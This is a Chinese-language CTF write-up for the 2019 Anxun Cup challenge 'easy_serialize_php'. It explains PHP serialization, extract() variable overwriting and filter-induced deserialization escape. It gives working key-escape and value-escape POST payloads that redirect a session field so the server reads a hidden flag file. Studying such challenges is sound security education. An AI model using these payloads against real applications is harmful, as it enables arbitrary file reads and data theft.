[安洵杯 2019]easy_serialize_php

胖三斤1發表於2021-07-09

[安洵杯 2019]easy_serialize_php

這篇主要知識點:

  1. 鍛鍊php程式碼審計能力和學習
  2. php反序列化
  3. 反序列化中的物件逃逸(這個是真的自己對著php線上工具分析了很久,才弄懂。你看完肯定有所收穫)

首先明確幾個點:

  • 序列化後的結果是一串字串
  • 反序列化會解開序列化的字串生成相應型別的資料

如下程式碼示例(大佬部落格擷取):

<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#輸出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"

$b = unserialize($a);
var_dump($b);
/*輸出如下內容:
array(2) {
  ["one"]=>
  string(4) "flag"
  ["two"]=>
  string(4) "test"
}
*/

序列化的部分:

經過serialize序列化後生成了相應的字串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}

a表示陣列 , a:2中的2表示有兩個鍵值,即對應的one、two兩組鍵值對。

花括號中的s都表示string即字串,

s:後面的值分別是3、4、3、4,即對應的字串長度,比如one長度是三,flag長度是4

反序列化的部分:

unserialize函式將字串解序列化,我們用var_dump函式顯示了他的詳細資訊。

可見解序列化後由變數$b,接收了img陣列。

序列化中每個字母的表示:

a array陣列
b boolean判斷型別
d double浮點數
i integer整數型
o common object 一般的物件
r reference引用型別
s string字串型別
C custom object
O class
N null
R pointer reference
U unicode string

現在我們進入試題地址,開啟之後出現一段原始碼:

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

我們大概看了一下,發現了這樣一段程式碼:

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!

這個$function就是$function = @$_GET['f']; 從url中 f 輸入的變數

意思是如果 $function == 'phpinfo' ,我們就可以執行下面的語句檢視phpinfo()

我們嘗試訪問phpinfo頁面:

index.php?f=phpinfo

會發現這裡有一個d0g3_flag.php檔案,我們需要的flag應該就在裡面,所以我們接下來需要讀取這個檔案就行。

我把接下來用到的程式碼放到了這裡:

if($_SESSION){
    unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
/*
我們發現unset函式將$_SESSION變數銷燬了,然後重新賦予了$_SESSION新的值,
最後呼叫了extract($_POST);
*/

extract() 函式從陣列中將變數匯入到當前的符號表。

參考連結:https://www.w3school.com.cn/php/func_array_extract.asp

  • 舉例extract()變數覆蓋:

根據extract()我們可以進行變數覆蓋,

當我們傳入SESSION[flag]=123時,$SESSION["user"]和$SESSION['function'] 全部會消失。

只剩下_SESSION[flag]=123。

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

我們接著往下看:

知道了變數符改,我們可以幹什麼呢,往下看叭。

由於有了如下的程式碼,我們直接進行變數覆蓋,直接給$SESSION['img']一個預想的值是不現實的,

因為$SESSION['img'] = base64_encode('guest_img.png')是在extract($_POST);這個函式之後執行的。

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

所以我們看看另一個方向:fileter函式

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
#這部分程式碼就是將引數$img裡面的跟上面陣列裡的字串替換成空'',然後返回替換之後的字串

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

後面看看大佬的WP:

大佬們都用的是鍵值對逃逸

這裡我介紹一下php反序列化的物件逃逸

任何具有一定結構的資料,只要經過了某些處理而把自身結構改變,則可能產生漏洞。

過濾函式分為兩種情況:

第一種為關鍵詞數增加

​ 例如: where->hacker,這樣詞數由五個增加到6個。

第二種為關鍵詞數減少

​ 例如:直接過濾掉一些關鍵詞,例如這道題目中。

​ 過濾函式filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
​ 那麼我們有兩種方法:

鍵逃逸和值逃逸:

第一種為關鍵詞數增加

例如: where->hacker,這樣詞數由五個增加到6個。
第二種為關鍵詞數減少
例如:直接過濾掉一些關鍵詞,例如這道題目中。

過濾函式filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
那麼我們有兩種方法:
鍵逃逸和值逃逸

原理:因為序列化吼的字串是嚴格的,對應的格式不能錯,比如s:4:"name",那s:4就必須有一個字串長 度是4的否則就往後要。

並且unserialize會把多餘的字串當垃圾處理,在花括號內的就是正確的,花括號後面的就都被扔掉。

示例:

<?php
#正規序列化的字串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#帶有多餘的字元的字串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));
# ";s:3:\"真的垃圾img\";lajilaji";"這些會被扔掉

我們有了這個逃逸概念的話,就大概可以理解了。如果我們把

$_SESSION['img'] = base64_encode('guest_img.png');這段程式碼的img屬性放到花括號外邊去,

然後花括號中注好新的img屬性,那麼他本來要求的img屬性就被我們們替換了。

那如何達到這個目的就要通過過濾函式了,因為我們的序列化的是個字串啊,然後他又把黑名單的東西替換成 空。

鍵逃逸payload:

這兒只需要一個鍵值對就行了,我們直接構造會被過濾的鍵,這樣值得一部分充當鍵,剩下得一部分作為單獨得鍵值對

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

我來解釋一下這個payload

我們知道_SESSION這個陣列裡面目前是有兩個字串的,一個是我們通過POST方式傳上去的'phpflag',還有一個就是'img'

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

/* 這段程式碼會判斷我們通過GET方式傳入的變數是不是有'img_path'這個字串,如果沒有就會執行語句將'guest_img.png'這個字串經過base64加密存入$_SESSION['img']裡面,毫無疑問我們通過GET上傳的f=show_image,因為我們要進入一下程式碼執行反序列化函式啊!*/

else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

_SESSION這個陣列目前是這樣的:

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');

#一個我們通過POST方式傳上去,一個程式碼內部自動新增的

然後我們看看$_SESSION接下來會怎麼執行語句:

$serialize_info = filter(serialize($_SESSION));
/*首先會先將$_SESSION序列化之後經過filter函式
filter函式會將phpflag替換成'',然後返回結果賦值給$serialize_info
接下來我們看看$serialize_info變數去哪了
*/

else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
/*沒錯到了這裡,先將$serialize_info反序列化賦值給$userinfo,然後去$userinfo裡面’img'鍵對應的值就是d0g3_f1ag.php。

這裡我附上程式碼執行過程:

<?php
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));

echo PHP_EOL;
$serialize_info="a:2:{s:7:\"\";s:48:\";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$userinfo = unserialize($serialize_info);
echo (base64_decode($userinfo['img']));
?>
    
#注意:裡面的\是為了將"轉義。

上面我說明一下$userinfo每個引數對應的什麼:

目前裡面有兩個鍵值對:

$userinfo['";s:48:'']="1"
$userinfo['img']="ZDBnM19mMWFnLnBocA=="

/*
ZDBnM19mMWFnLnBocA==經過base64解碼之後就是d0g3_f1ag.php
就是 ";s:48:-->1         
      img  -->ZDBnM19mMWFnLnBocA==
";s:48:正好是7個字串,對應上面$serialize_info裡面那個7,7代表後面字                          符串長度為7
*/

執行結果:

string(114) "a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

d0g3_f1ag.php

執行截圖:

我們通過echo (base64_decode($userinfo['img']));這一步得到了d0g3_f1ag.php

然後就會通過echo file_get_contents(base64_decode($userinfo['img']));這個函式將d0g3_f1ag.php裡面內容讀取。

d0g3_f1ag.php這個裡面的內容就是這樣一段程式碼:

<?php

$flag = 'flag in /d0g3_fllllllag';

?>

然後我們將d0g3_fllllllag經過base64加密L2QwZzNfZmxsbGxsbGFn正好也是20位,直接替換上面的就好。

得到flag:

上面是通過鍵逃逸的方式,好像還有一種值逃逸的繞過方法,這裡我就不做演示了,附上payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

寫這個加上自己去網上測試payload,一句一句的分析,還是弄了蠻久的,希望能幫到大家!

​ 太菜了太菜了!!!


相關文章